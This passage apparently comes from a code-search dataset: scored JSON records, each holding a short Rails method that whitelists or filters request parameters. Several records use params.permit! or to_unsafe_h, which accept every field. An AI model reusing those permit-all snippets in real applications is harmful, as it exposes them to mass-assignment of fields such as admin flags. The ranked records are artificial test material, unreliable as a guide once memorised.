params.require(:community_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "1685d76d665d2c26af736aa987ac8b51", "score": "0.66258276", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f", "score": "0.65625846", "text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "title": "" }, { "docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18", "score": "0.6491194", "text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.6477825", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "2d2af8e22689ac0c0408bf4cb340d8c8", "score": "0.64526874", "text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end", "title": "" }, { "docid": "236e1766ee20eef4883ed724b83e4176", "score": "0.64001405", "text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "b29cf4bc4a27d4b199de5b6034f9f8a0", "score": "0.63810205", "text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end", "title": "" }, { "docid": "bfb292096090145a067e31d8fef10853", "score": "0.63634825", "text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end", "title": "" }, { "docid": "6bf3ed161b62498559a064aea569250a", "score": "0.633783", "text": "def require_params\n return nil\n end", "title": "" }, { "docid": "b4c9587164188c64f14b71403f80ca7c", "score": "0.6336759", "text": "def sanitize_params!\n request.sanitize_params!\n end", "title": "" }, { "docid": "b63e6e97815a8745ab85cd8f7dd5b4fb", "score": "0.6325718", "text": "def excluded_from_filter_parameters; end", "title": "" }, { "docid": "38bec0546a7e4cbf4c337edbee67d769", "score": "0.631947", "text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end", "title": "" }, { "docid": "37d1c971f6495de3cdd63a3ef049674e", "score": "0.63146484", "text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "5ec018b4a193bf3bf8902c9419279607", "score": "0.63137317", "text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end", "title": "" }, { "docid": "91bfe6d464d263aa01e776f24583d1d9", "score": "0.6306224", "text": "def permitir_parametros\n params.permit!\n end", "title": "" }, { "docid": "e012d7306b402a37012f98bfd4ffdb10", "score": "0.6301168", "text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end", "title": "" }, { "docid": "157e773497f78353899720ad034a906a", "score": "0.63000035", "text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end", "title": "" }, { "docid": "8c384af787342792f0efc7911c3b2469", "score": "0.629581", "text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.62926817", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.62926817", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "9b76b3149ac8b2743f041d1af6b768b5", "score": "0.6280713", "text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end", "title": "" }, { "docid": "603f4a45e5efa778afca5372ae8a96dc", "score": "0.6271388", "text": "def param_whitelist\n [:role]\n end", "title": "" }, { "docid": "f6399952b4623e5a23ce75ef1bf2af5a", "score": "0.6266194", "text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend", "title": "" }, { "docid": "37c5d0a9ebc5049d7333af81696608a0", "score": "0.6256044", "text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend", "title": "" }, { "docid": "505e334c1850c398069b6fb3948ce481", "score": "0.62550515", "text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end", "title": "" }, { "docid": "6c4620f5d8fd3fe3641e0474aa7014b2", "score": "0.62525266", "text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end", "title": "" }, { "docid": "d14bb69d2a7d0f302032a22bb9373a16", "score": "0.6234781", "text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend", "title": "" }, { "docid": "5629f00db37bf403d0c58b524d4c3c37", "score": "0.62278074", "text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "d370098b1b3289dbd04bf1c073f2645b", "score": "0.6226693", "text": "def allow_params\n params.permit(:id, :email, :password)\n end", "title": "" }, { "docid": "fde8b208c08c509fe9f617229dfa1a68", "score": "0.6226605", "text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end", "title": "" }, { "docid": "78cbf68c3936c666f1edf5f65e422b6f", "score": "0.6226114", "text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend", "title": "" }, { "docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5", "score": "0.6200643", "text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end", "title": "" }, { "docid": "d724124948bde3f2512c5542b9cdea74", "score": "0.61913997", "text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end", "title": "" }, { "docid": "d18a36785daed9387fd6d0042fafcd03", "score": "0.61835426", "text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end", "title": "" }, { "docid": "36956168ba2889cff7bf17d9f1db41b8", "score": "0.6179986", "text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end", "title": "" }, { "docid": "07bc0e43e1cec1a821fb2598d6489bde", "score": "0.61630195", "text": "def accept_no_params\n accept_params {}\n end", "title": "" }, { "docid": "fc4b1364974ea591f32a99898cb0078d", "score": "0.6160931", "text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end", "title": "" }, { "docid": "13e3cfbfe510f765b5944667d772f453", "score": "0.6155551", "text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end", "title": "" }, { "docid": "84bd386d5b2a0d586dca327046a81a63", "score": "0.61542404", "text": "def good_params\n permit_params\n end", "title": "" }, { "docid": "b9432eac2fc04860bb585f9af0d932bc", "score": "0.61356604", "text": "def wall_params\n params.permit(:public_view, :guest)\n end", "title": "" }, { "docid": "f2342adbf71ecbb79f87f58ff29c51ba", "score": "0.61342114", "text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end", "title": "" }, { "docid": "8fa507ebc4288c14857ace21acf54c26", "score": "0.61188847", "text": "def strong_params\n # to dooo\n end", "title": "" }, { "docid": "9292c51af27231dfd9f6478a027d419e", "score": "0.61140966", "text": "def domain_params\n params[:domain].permit!\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.611406", "text": "def check_params; true; end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.611406", "text": "def check_params; true; end", "title": "" }, { "docid": "a3aee889e493e2b235619affa62f39c3", "score": "0.61107725", "text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.61038506", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.61038506", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6097247", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6097247", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "677293afd31e8916c0aee52a787b75d8", "score": "0.60860336", "text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end", "title": "" }, { "docid": "e50ea3adc222a8db489f0ed3d1dce35b", "score": "0.60855556", "text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end", "title": "" }, { "docid": "b7ab5b72771a4a2eaa77904bb0356a48", "score": "0.608446", "text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end", "title": "" }, { "docid": "b2841e384487f587427c4b35498c133f", "score": "0.6076753", "text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end", "title": "" }, { "docid": "3f5347ed890eed5ea86b70281803d375", "score": "0.60742563", "text": "def user_params\n params.permit!\n end", "title": "" }, { "docid": "0c8779b5d7fc10083824e36bfab170de", "score": "0.60677326", "text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end", "title": "" }, { "docid": "7646659415933bf751273d76b1d11b40", "score": "0.60666215", "text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end", "title": "" }, { "docid": "fa0608a79e8d27c2a070862e616c8c58", "score": "0.6065763", "text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end", "title": "" }, { "docid": "a3dc8b6db1e6584a8305a96ebb06ad21", "score": "0.60655254", "text": "def need_params\n end", "title": "" }, { "docid": "4f8205e45790aaf4521cdc5f872c2752", "score": "0.6064794", "text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end", "title": "" }, { "docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06", "score": "0.6062697", "text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.60620916", "text": "def filtered_parameters; end", "title": "" }, { "docid": "d6886c65f0ba5ebad9a2fe5976b70049", "score": "0.60562736", "text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end", "title": "" }, { "docid": "96ddf2d48ead6ef7a904c961c284d036", "score": "0.60491294", "text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end", "title": "" }, { "docid": "f78d6fd9154d00691c34980d7656b3fa", "score": "0.60490465", "text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "title": "" }, { "docid": "f78d6fd9154d00691c34980d7656b3fa", "score": "0.60490465", "text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "title": "" }, { "docid": "75b7084f97e908d1548a1d23c68a6c4c", "score": "0.6046521", "text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end", "title": "" }, { "docid": "080d2fb67f69228501429ad29d14eb29", "score": "0.6041768", "text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff", "score": "0.60346854", "text": "def parameters\n params.permit(permitted_params)\n end", "title": "" }, { "docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8", "score": "0.6030552", "text": "def filter_params\n end", "title": "" }, { "docid": "cf73c42e01765dd1c09630007357379c", "score": "0.6024842", "text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end", "title": "" }, { "docid": "793abf19d555fb6aa75265abdbac23a3", "score": "0.6021606", "text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end", "title": "" }, { "docid": "2e70947f467cb6b1fda5cddcd6dc6304", "score": "0.6019679", "text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend", "title": "" }, { "docid": "2a11104d8397f6fb79f9a57f6d6151c7", "score": "0.6017253", "text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end", "title": "" }, { "docid": "a83bc4d11697ba3c866a5eaae3be7e05", "score": "0.60145336", "text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end", "title": "" }, { "docid": "2aa7b93e192af3519f13e9c65843a6ed", "score": "0.60074294", "text": "def user_params\n params[:user].permit!\n end", "title": "" }, { "docid": "9c8cd7c9e353c522f2b88f2cf815ef4e", "score": "0.6006753", "text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6005122", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6005122", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "9736586d5c470252911ec58107dff461", "score": "0.60048765", "text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end", "title": "" }, { "docid": "e7cad604922ed7fad31f22b52ecdbd13", "score": "0.60009843", "text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end", "title": "" }, { "docid": "58ad32a310bf4e3c64929a860569b3db", "score": "0.6000742", "text": "def user_params\n\t\tparams.require(:user).permit!\n\tend", "title": "" }, { "docid": "58ad32a310bf4e3c64929a860569b3db", "score": "0.6000742", "text": "def user_params\n\t\tparams.require(:user).permit!\n\tend", "title": "" }, { "docid": "f70301232281d001a4e52bd9ba4d20f5", "score": "0.6000161", "text": "def room_allowed_params\n end", "title": "" }, { "docid": "2e6de53893e405d0fe83b9d18b696bd5", "score": "0.599852", "text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.59984183", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.59984183", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "a50ca4c82eaf086dcbcc9b485ebd4261", "score": "0.59947807", "text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end", "title": "" }, { "docid": "0f53610616212c35950b45fbcf9f5ad4", "score": "0.5993962", "text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end", "title": "" }, { "docid": "b545ec7bfd51dc43b982b451a715a538", "score": "0.5992739", "text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end", "title": "" }, { "docid": "0b704016f3538045eb52c45442e7f704", "score": "0.59911275", "text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end", "title": "" }, { "docid": "6af3741c8644ee63d155db59be10a774", "score": "0.59906775", "text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end", "title": "" } ]
4011e6ef70a1f3872a2b1efaf4de1681
Takes a hash of defaults and a hash of requirements, and assigns them to the segments. Any unused requirements (which do not correspond to a segment) are returned as a hash.
[ { "docid": "f89e33c64c2da6c0d6bc7fd3bdb8a5cd", "score": "0.7292791", "text": "def assign_route_options(segments, defaults, requirements)\n route_requirements = {} # Requirements that do not belong to a segment\n\n segment_named = Proc.new do |key|\n segments.detect { |segment| segment.key == key if segment.respond_to?(:key) }\n end\n\n requirements.each do |key, requirement|\n segment = segment_named[key]\n if segment\n raise TypeError, \"#{key}: requirements on a path segment must be regular expressions\" unless requirement.is_a?(Regexp)\n if requirement.source =~ %r{\\A(\\\\A|\\^)|(\\\\Z|\\\\z|\\$)\\Z}\n raise ArgumentError, \"Regexp anchor characters are not allowed in routing requirements: #{requirement.inspect}\"\n end\n segment.regexp = requirement\n else\n route_requirements[key] = requirement\n end\n end\n\n defaults.each do |key, default|\n segment = segment_named[key]\n raise ArgumentError, \"#{key}: No matching segment exists; cannot assign default\" unless segment\n segment.is_optional = true\n segment.default = default.to_param if default\n end\n\n assign_default_route_options(segments)\n ensure_required_segments(segments)\n route_requirements\n end", "title": "" } ]
[ { "docid": "3b34b27d8a0d80b5ebdc954d43b8a607", "score": "0.7447838", "text": "def defaults\n @defaults ||= returning({}) do |hash|\n segments.each do |segment|\n next unless segment.respond_to? :default\n hash[segment.key] = segment.default unless segment.default.nil?\n end\n requirements.each do |key,req|\n next if Regexp === req || req.nil?\n hash[key] = req\n end\n end\n end", "title": "" }, { "docid": "3b34b27d8a0d80b5ebdc954d43b8a607", "score": "0.7447838", "text": "def defaults\n @defaults ||= returning({}) do |hash|\n segments.each do |segment|\n next unless segment.respond_to? :default\n hash[segment.key] = segment.default unless segment.default.nil?\n end\n requirements.each do |key,req|\n next if Regexp === req || req.nil?\n hash[key] = req\n end\n end\n end", "title": "" }, { "docid": "53f06e4ff135e5117e35dfd87b65ab72", "score": "0.7210585", "text": "def assign_route_options(segments, defaults, requirements)\n route_requirements = {} # Requirements that do not belong to a segment\n\n segment_named = Proc.new do |key|\n segments.detect { |segment| segment.key == key if segment.respond_to?(:key) }\n end\n\n requirements.each do |key, requirement|\n segment = segment_named[key]\n if segment\n raise TypeError, \"#{key}: requirements on a path segment must be regular expressions\" unless requirement.is_a?(Regexp)\n if requirement.source =~ %r{\\A(\\\\A|\\^)|(\\\\Z|\\\\z|\\$)\\Z}\n raise ArgumentError, \"Regexp anchor characters are not allowed in routing requirements: #{requirement.inspect}\"\n end\n if multiline_regexp?(requirement)\n raise ArgumentError, \"Regexp multiline option not allowed in routing requirements: #{requirement.inspect}\"\n end\n segment.regexp = requirement\n else\n route_requirements[key] = requirement\n end\n end\n\n defaults.each do |key, default|\n segment = segment_named[key]\n raise ArgumentError, \"#{key}: No matching segment exists; cannot assign default\" unless segment\n segment.is_optional = true\n segment.default = default.to_param if default\n end\n\n assign_default_route_options(segments)\n ensure_required_segments(segments)\n route_requirements\n end", "title": "" }, { "docid": "da302f1917ebf14820cb04e68bd24d18", "score": "0.6402199", "text": "def divide_route_options(segments, options)\n options = options.dup\n\n if options[:namespace]\n options[:controller] = \"#{options[:path_prefix]}/#{options[:controller]}\"\n options.delete(:path_prefix)\n options.delete(:name_prefix)\n options.delete(:namespace)\n end\n\n requirements = (options.delete(:requirements) || {}).dup\n defaults = (options.delete(:defaults) || {}).dup\n conditions = (options.delete(:conditions) || {}).dup\n\n path_keys = segments.collect { |segment| segment.key if segment.respond_to?(:key) }.compact\n options.each do |key, value|\n hash = (path_keys.include?(key) && ! value.is_a?(Regexp)) ? defaults : requirements\n hash[key] = value\n end\n\n [defaults, requirements, conditions]\n end", "title": "" }, { "docid": "6632cc97061d372f52d3b5b753ea21f2", "score": "0.62909037", "text": "def divide_route_options(segments, options)\n options = options.except(:path_prefix, :name_prefix)\n\n if options[:namespace]\n options[:controller] = \"#{options.delete(:namespace).sub(/\\/$/, '')}/#{options[:controller]}\"\n end\n\n requirements = (options.delete(:requirements) || {}).dup\n defaults = (options.delete(:defaults) || {}).dup\n conditions = (options.delete(:conditions) || {}).dup\n\n validate_route_conditions(conditions)\n\n path_keys = segments.collect { |segment| segment.key if segment.respond_to?(:key) }.compact\n options.each do |key, value|\n hash = (path_keys.include?(key) && ! value.is_a?(Regexp)) ? defaults : requirements\n hash[key] = value\n end\n\n [defaults, requirements, conditions]\n end", "title": "" }, { "docid": "c48c43e5fdee1c158ae7565c906297a9", "score": "0.60871655", "text": "def assign_default_route_options(segments)\n segments.each do |segment|\n next unless segment.is_a? DynamicSegment\n case segment.key\n when :action\n if segment.regexp.nil? || segment.regexp.match('index').to_s == 'index'\n segment.default ||= 'index'\n segment.is_optional = true\n end\n when :id\n if segment.default.nil? && segment.regexp.nil? || segment.regexp =~ ''\n segment.is_optional = true\n end\n end\n end\n end", "title": "" }, { "docid": "c48c43e5fdee1c158ae7565c906297a9", "score": "0.60871655", "text": "def assign_default_route_options(segments)\n segments.each do |segment|\n next unless segment.is_a? DynamicSegment\n case segment.key\n when :action\n if segment.regexp.nil? || segment.regexp.match('index').to_s == 'index'\n segment.default ||= 'index'\n segment.is_optional = true\n end\n when :id\n if segment.default.nil? && segment.regexp.nil? || segment.regexp =~ ''\n segment.is_optional = true\n end\n end\n end\n end", "title": "" }, { "docid": "485e118ad4e74ce0805fddd18b5f8724", "score": "0.5793125", "text": "def ensure_required_segments(segments)\n allow_optional = true\n segments.reverse_each do |segment|\n allow_optional &&= segment.optional?\n if !allow_optional && segment.optional?\n unless segment.optionality_implied?\n warn \"Route segment \\\"#{segment.to_s}\\\" cannot be optional because it precedes a required segment. This segment will be required.\"\n end\n segment.is_optional = false\n elsif allow_optional && segment.respond_to?(:default) && segment.default\n # if a segment has a default, then it is optional\n segment.is_optional = true\n end\n end\n end", "title": "" }, { "docid": "485e118ad4e74ce0805fddd18b5f8724", "score": "0.5793125", "text": "def ensure_required_segments(segments)\n allow_optional = true\n segments.reverse_each do |segment|\n allow_optional &&= segment.optional?\n if !allow_optional && segment.optional?\n unless segment.optionality_implied?\n warn \"Route segment \\\"#{segment.to_s}\\\" cannot be optional because it precedes a required segment. This segment will be required.\"\n end\n segment.is_optional = false\n elsif allow_optional && segment.respond_to?(:default) && segment.default\n # if a segment has a default, then it is optional\n segment.is_optional = true\n end\n end\n end", "title": "" }, { "docid": "77ef34b42b1f6e26467714289220b9a3", "score": "0.54438025", "text": "def segments_params_4\n {\n dataSetId: @dataSetId,\n effectiveDate: @effectiveDate,\n modelYear: \"2017\",\n segmentCode: \"175\",\n residuals: true,\n initialMileage: \"10000\",\n annualMileage: \"17000\",\n condition: \"ROUGH\",\n weighting: \"BUILD\",\n onlyNew: false\n }\n end", "title": "" }, { "docid": "895d9d7ef3dabcb9428e0420eae18378", "score": "0.5352849", "text": "def set_sections_and_maps\n @sections = if @options.configure_sections?\n parse_sections(@options[:configure_sections])\n elsif @options.add_sections?\n default_sections.concat parse_sections(@options[:add_sections])\n else\n default_sections\n end\n\n @lmap = label_map\n @smap = section_map\n end", "title": "" }, { "docid": "cfc8daf4bbccdf615ad81978daafd277", "score": "0.5277751", "text": "def assign_pods(students, pods)\n pod_hash = {}\n start = 0\n pods.each do |key|\n target = students[start...start+4]\n if target.nil?\n pod_hash[key] = []\n else\n pod_hash[key] = students[start...start+4] \n end\n\n start += 4\n end\n\n return pod_hash\nend", "title": "" }, { "docid": "97c7a2e981a032a025b24ff789cd7608", "score": "0.5248794", "text": "def segments_params_1\n {\n dataSetId: @dataSetId,\n effectiveDate: @effectiveDate,\n modelYear: \"2017\",\n segmentCode: \"175\",\n residuals: true\n }\n end", "title": "" }, { "docid": "d02997446f4c1b7045a80be415787686", "score": "0.52220803", "text": "def segment_params\n params.fetch(:segment, {}).permit(\n :resource_id, :resource_type,\n :template, :aspect_ratio, :alignment, :justification,\n :stretch, :foreground_color, :background_color,\n :gradient_color, :gradient_type, :gradient_direction, :gradient_balance,\n :body, :header, :subhead, :url,\n :margin_top, :margin_bottom,\n :padding_vertical, :padding_horizontal,\n :min_width, :min_height, :gutter, :width_ratio,\n :grid_columns, :grid_lines, :grid_disable_xs, :swiper,\n :line_height, :hyphens,\n :masonry, :tapestry, :image_sizing, :thumbnails, :lightbox,\n :slide_effect, :slide_delay, :slide_speed,\n :max_items, :product_scope, :show_more,\n :map_location, :map_marker, :map_zoom, :map_theme,\n :content_class, :content_type,\n :facebook_page, :facebook_token,\n :inverse, :jumbotron, :shadow,\n :css_classes, :animation, :velocity,\n Borderable::ATTRIBUTES\n )\n end", "title": "" }, { "docid": "9e54c6db106b7220ec783069c4a0bb72", "score": "0.5221963", "text": "def hashify(segments, value)\n return {} if segments.empty?\n s, *rest = segments\n if rest.empty?\n { s => value }\n else\n { s => hashify(rest, value) }\n end\nend", "title": "" }, { "docid": "8dfe8fccc8176d0a1516bae241143bbb", "score": "0.52053285", "text": "def segments_params_2\n {\n dataSetId: @dataSetId,\n effectiveDate: @effectiveDate,\n modelYear: \"2017\",\n segmentCode: \"175\",\n residuals: true,\n annualMileage: \"9000\",\n initialMileage: \"15000\",\n condition: \"ROUGH\"\n }\n end", "title": "" }, { "docid": "d61a6c69d108d0e24ec62011b459c8c1", "score": "0.5122394", "text": "def _default_parts\n {}\n end", "title": "" }, { "docid": "39660df87f684b4f9f7801c0a719dd1e", "score": "0.49835578", "text": "def gather_params(default,actual,available)\n available.each do |param|\n name = param[:name]\n if actual.keys.include?(name)\n default[name] = actual[name]\n end\n end\n default\n end", "title": "" }, { "docid": "ef8095db4b6139f34cd3d4141876165d", "score": "0.49767193", "text": "def assign_parts(parts)\n assignment_parts = Hash.new\n\n\t\tkey_entry = parts[:keys].blank? ? nil : Key.find(parts[:keys])\n assignment_parts[\"keys\"] = {\n \"title\" => \"Key\",\n \"name\" => key_entry ? key_entry[:system_name] : \"\",\n \"id\" => key_entry ? parts[:keys] : \"\"\n }\n\n\t\tenduser_entry = parts[:endusers].blank? ? nil : EndUser.find(parts[:endusers])\n assignment_parts[\"endusers\"] = {\n \"title\" => \"End User\",\n \"name\" => enduser_entry ? enduser_entry[:name] : \"\",\n \"id\" => enduser_entry ? parts[:endusers] : \"\"\n }\n\n\t\tpurchaser_entry = parts[:purchasers].blank? ? nil : Purchaser.find(parts[:purchasers])\n assignment_parts[\"purchasers\"] = {\n \"title\" => \"Purchaser\",\n \"name\" => purchaser_entry ? purchaser_entry[:name] : \"\",\n \"id\" => purchaser_entry ? parts[:purchasers] : \"\"\n }\n\n\t\tpurchaseorder_entry = parts[:purchaseorders].blank? ? nil : PurchaseOrder.find(parts[:purchaseorders])\n assignment_parts[\"purchaseorders\"] = {\n \"title\" => \"Purchase Order\",\n \"name\" => purchaseorder_entry ? purchaseorder_entry[:so_number] : \"\",\n \"id\" => purchaseorder_entry ? parts[:purchaseorders] : \"\"\n }\n\n return assignment_parts\n end", "title": "" }, { 